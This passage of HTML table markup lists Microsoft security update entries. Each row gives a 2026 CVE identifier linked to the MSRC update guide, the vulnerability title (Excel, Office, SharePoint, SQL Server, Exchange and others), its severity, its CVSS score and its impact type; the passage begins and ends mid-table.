  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
